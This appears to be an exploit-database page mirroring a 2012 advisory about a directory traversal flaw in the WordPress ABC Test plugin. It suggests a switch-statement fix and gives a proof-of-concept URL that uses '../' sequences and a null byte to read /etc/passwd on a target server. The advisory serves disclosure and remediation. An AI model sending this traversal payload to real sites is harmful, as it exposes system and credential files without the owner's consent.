Lucene search
K

WordPress ABC Test Plugin directory traversal

🗓️ 12 Dec 2012 00:00:00Reported by Angel InjectionType 
zdt
 zdt
🔗 0day.today👁 24 Views

WordPress ABC Test Plugin directory traversal vulnerability found by Angel Injection, high risk

Code
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] WordPress ABC Test Plugin directory traversal 
[-] Found by Angel Injection
[-] Version: N/A
[-] Security -::RISK: high
[-] platforms: php
[-] Download Link: http://downloads.wordpress.org/plugin/abc-test.0.1.zip

Xploit

Affected :abtest_admin.php

code
preferably amend line 4 of abtest_admin.php to include a switch statement ensuring $_GET['action'] is safe i.e.
switch ($_GET['action']) {
case “add_goal”:
case “add_ip_filter”:
..>8.. cut for space ..8<…
case “tabs”:
include ‘admin/’ . $_GET['action'] . ‘.php’;
break;
default:
echo “oh… something wrong…”;
}

http://target/blog/wp-content/plugins/abtest/abtest_admin.php?action=../../../../../../../etc/passwd%00

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation